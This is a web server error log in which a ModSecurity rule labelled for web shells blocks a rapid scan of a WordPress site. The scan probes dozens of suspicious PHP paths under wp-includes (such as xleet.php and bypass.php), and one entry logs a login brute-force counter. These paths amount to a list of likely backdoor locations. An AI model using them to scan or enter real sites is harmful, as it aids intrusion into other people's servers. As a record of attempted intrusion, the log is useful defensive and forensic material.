[Wed Dec 24 10:47:58.722359 2025] [:error] [pid 54139:tid 54151] [client 63.135.161.76:61971] [client 63.135.161.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aUtUXsrYCZenIDzgXuL2pwAAAQo"]
[Wed Dec 24 10:47:59.303631 2025] [:error] [pid 16550:tid 16561] [client 63.135.161.62:40845] [client 63.135.161.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aUtUX6YYcdD-LuO7vrBbPgAAAMk"]
[Wed Dec 24 10:47:59.747955 2025] [:error] [pid 28405:tid 28421] [client 63.135.161.64:49989] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aUtUX8KkTWlhmfdXFqbhvwAAAUs"]
[Wed Dec 24 10:48:00.412960 2025] [:error] [pid 16466:tid 16480] [client 104.234.53.208:30669] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aUtUYLu0JcuKJMjJn6y7IwAAAAo"]
[Wed Dec 24 10:48:01.453841 2025] [:error] [pid 16467:tid 16511] [client 63.135.161.48:58633] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aUtUYY0TJMcBxX5slgrXHQAAAE4"]
[Wed Dec 24 10:48:01.949618 2025] [proxy_fcgi:error] [pid 54139:tid 54142] [client 63.135.161.66:42249] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:48:02.998662 2025] [:error] [pid 54139:tid 54144] [client 63.135.161.66:42249] [client 63.135.161.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.66, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aUtUYsrYCZenIDzgXuL22wAAAQM"]
[Wed Dec 24 10:48:04.733126 2025] [:error] [pid 54139:tid 54152] [client 63.135.161.66:42249] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aUtUZMrYCZenIDzgXuL2_gAAAQs"]
[Wed Dec 24 10:48:05.175408 2025] [:error] [pid 16467:tid 16505] [client 63.135.161.69:47233] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aUtUZY0TJMcBxX5slgrXTwAAAEg"]
[Wed Dec 24 10:48:10.369968 2025] [:error] [pid 16550:tid 16559] [client 104.234.53.223:32987] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aUtUaqYYcdD-LuO7vrBcRAAAAMc"]
[Wed Dec 24 10:48:10.992352 2025] [:error] [pid 16550:tid 16562] [client 104.234.53.223:53477] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aUtUaqYYcdD-LuO7vrBcVgAAAMo"]
[Wed Dec 24 10:48:11.445917 2025] [:error] [pid 28777:tid 28790] [client 63.135.161.68:58061] [client 63.135.161.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aUtUa5BVBcZ34cSqz8q6RgAAAYs"]
[Wed Dec 24 10:48:13.635321 2025] [:error] [pid 16468:tid 16534] [client 63.135.161.45:63549] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aUtUbYdyfuSTFLkCbP8cUwAAAIo"]
[Wed Dec 24 10:48:14.235204 2025] [:error] [pid 16468:tid 16538] [client 104.234.53.222:25315] [client 104.234.53.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aUtUbodyfuSTFLkCbP8cXwAAAI4"]
[Wed Dec 24 10:48:14.667210 2025] [:error] [pid 16550:tid 16554] [client 104.234.53.208:58517] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aUtUbqYYcdD-LuO7vrBcrQAAAMI"]
[Wed Dec 24 10:48:16.268530 2025] [:error] [pid 28405:tid 28419] [client 63.135.161.59:54357] [client 63.135.161.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aUtUcMKkTWlhmfdXFqbitgAAAUk"]
[Wed Dec 24 10:48:17.021112 2025] [:error] [pid 16468:tid 16531] [client 63.135.161.46:63519] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aUtUcIdyfuSTFLkCbP8cuAAAAIc"]
[Wed Dec 24 10:48:18.018747 2025] [:error] [pid 28405:tid 28431] [client 104.234.53.223:39131] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aUtUcsKkTWlhmfdXFqbiywAAAVU"]
[Wed Dec 24 10:48:21.606991 2025] [:error] [pid 16466:tid 16484] [client 63.135.161.56:38191] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aUtUdbu0JcuKJMjJn6y8sQAAAA4"]
[Wed Dec 24 10:48:22.619054 2025] [:error] [pid 16468:tid 16539] [client 104.234.53.222:28727] [client 104.234.53.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aUtUdodyfuSTFLkCbP8dDQAAAI8"]
[Wed Dec 24 10:48:24.817021 2025] [:error] [pid 28405:tid 28409] [client 63.135.161.50:30991] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aUtUeMKkTWlhmfdXFqbjNQAAAUA"]
[Wed Dec 24 10:48:25.842987 2025] [:error] [pid 28777:tid 28780] [client 104.234.53.213:46395] [client 104.234.53.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aUtUeZBVBcZ34cSqz8q7QAAAAYE"]
[Wed Dec 24 10:48:27.542561 2025] [:error] [pid 16468:tid 16539] [client 104.234.53.212:62773] [client 104.234.53.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aUtUe4dyfuSTFLkCbP8dVQAAAI8"]
[Wed Dec 24 10:48:29.384492 2025] [:error] [pid 16467:tid 16513] [client 63.135.161.75:35137] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aUtUfY0TJMcBxX5slgrYqgAAAFA"]
[Wed Dec 24 10:48:30.285175 2025] [:error] [pid 16468:tid 16542] [client 104.234.53.216:22169] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aUtUfodyfuSTFLkCbP8ddAAAAJI"]
[Wed Dec 24 10:48:30.736466 2025] [:error] [pid 16466:tid 16483] [client 63.135.161.59:51551] [client 63.135.161.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aUtUfru0JcuKJMjJn6y9PgAAAA0"]
[Wed Dec 24 10:48:32.614908 2025] [:error] [pid 54139:tid 54160] [client 104.234.53.211:51119] [client 104.234.53.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aUtUgMrYCZenIDzgXuL4xQAAARM"]
[Wed Dec 24 10:48:34.505870 2025] [:error] [pid 16466:tid 16477] [client 63.135.161.73:27441] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aUtUgru0JcuKJMjJn6y9fAAAAAc"]
[Wed Dec 24 10:48:35.964960 2025] [:error] [pid 54139:tid 54161] [client 104.234.53.208:53377] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aUtUg8rYCZenIDzgXuL5AgAAARQ"]
[Wed Dec 24 10:48:36.430995 2025] [:error] [pid 16468:tid 16536] [client 104.234.53.219:31313] [client 104.234.53.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aUtUhIdyfuSTFLkCbP8dvQAAAIw"]
[Wed Dec 24 10:48:37.376336 2025] [:error] [pid 54139:tid 54162] [client 104.234.53.214:46423] [client 104.234.53.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aUtUhcrYCZenIDzgXuL5JQAAARU"]
[Wed Dec 24 10:48:38.661425 2025] [:error] [pid 28777:tid 28796] [client 104.234.53.208:35749] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aUtUhpBVBcZ34cSqz8q7vgAAAZE"]
[Wed Dec 24 10:48:39.088362 2025] [:error] [pid 16550:tid 16560] [client 104.234.53.210:24265] [client 104.234.53.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aUtUh6YYcdD-LuO7vrBewAAAAMg"]
[Wed Dec 24 10:48:41.087006 2025] [:error] [pid 16466:tid 16479] [client 63.135.161.76:62081] [client 63.135.161.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aUtUibu0JcuKJMjJn6y93QAAAAk"]
[Wed Dec 24 10:48:42.012708 2025] [:error] [pid 16466:tid 16476] [client 63.135.161.70:25347] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aUtUiru0JcuKJMjJn6y96QAAAAY"]
[Wed Dec 24 10:48:42.520979 2025] [:error] [pid 16466:tid 16479] [client 63.135.161.64:52867] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aUtUiru0JcuKJMjJn6y98AAAAAk"]
[Wed Dec 24 10:48:43.416368 2025] [:error] [pid 16466:tid 16472] [client 63.135.161.74:51621] [client 63.135.161.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aUtUi7u0JcuKJMjJn6y9_AAAAAI"]
[Wed Dec 24 10:48:44.253975 2025] [:error] [pid 16467:tid 16513] [client 63.135.161.72:51209] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aUtUjI0TJMcBxX5slgrZwQAAAFA"]
[Wed Dec 24 10:48:46.004369 2025] [:error] [pid 16466:tid 16491] [client 63.135.161.75:53555] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aUtUjbu0JcuKJMjJn6y-IAAAABU"]
[Wed Dec 24 10:48:46.966372 2025] [:error] [pid 16468:tid 16542] [client 104.234.53.221:23781] [client 104.234.53.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aUtUjodyfuSTFLkCbP8edwAAAJI"]
[Wed Dec 24 10:48:47.915078 2025] [:error] [pid 16550:tid 16574] [client 63.135.161.67:63163] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aUtUj6YYcdD-LuO7vrBfjQAAANY"]
[Wed Dec 24 10:48:48.641369 2025] [:error] [pid 54139:tid 54147] [client 104.234.53.222:38917] [client 104.234.53.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aUtUkMrYCZenIDzgXuL56AAAAQY"]
[Wed Dec 24 10:48:49.364844 2025] [:error] [pid 54139:tid 54143] [client 63.135.161.74:40575] [client 63.135.161.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aUtUkcrYCZenIDzgXuL57AAAAQI"]
[Wed Dec 24 10:48:49.804532 2025] [:error] [pid 16467:tid 16497] [client 63.135.161.47:45147] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aUtUkY0TJMcBxX5slgrZ8AAAAEA"]
[Wed Dec 24 10:48:50.254659 2025] [:error] [pid 16550:tid 16574] [client 63.135.161.70:50787] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aUtUkqYYcdD-LuO7vrBfvgAAANY"]
[Wed Dec 24 10:48:52.076767 2025] [:error] [pid 16550:tid 16554] [client 104.234.53.224:35227] [client 104.234.53.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aUtUlKYYcdD-LuO7vrBf5AAAAMI"]
[Wed Dec 24 10:48:53.208607 2025] [:error] [pid 54139:tid 54148] [client 63.135.161.48:48551] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aUtUlcrYCZenIDzgXuL6CQAAAQc"]
[Wed Dec 24 10:48:54.410254 2025] [:error] [pid 54139:tid 54147] [client 104.234.53.212:61793] [client 104.234.53.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aUtUlsrYCZenIDzgXuL6EgAAAQY"]
[Wed Dec 24 10:48:55.612214 2025] [:error] [pid 28777:tid 28798] [client 104.234.53.224:22349] [client 104.234.53.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aUtUl5BVBcZ34cSqz8q85gAAAZM"]
[Wed Dec 24 10:48:57.511263 2025] [:error] [pid 28405:tid 28428] [client 104.234.53.214:37143] [client 104.234.53.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aUtUmcKkTWlhmfdXFqblogAAAVI"]
[Wed Dec 24 10:48:58.208308 2025] [:error] [pid 28777:tid 28779] [client 63.135.161.55:50769] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aUtUmpBVBcZ34cSqz8q9GQAAAYA"]
[Wed Dec 24 10:48:58.918901 2025] [:error] [pid 16466:tid 16480] [client 104.234.53.208:64311] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aUtUmru0JcuKJMjJn6y-fwAAAAo"]
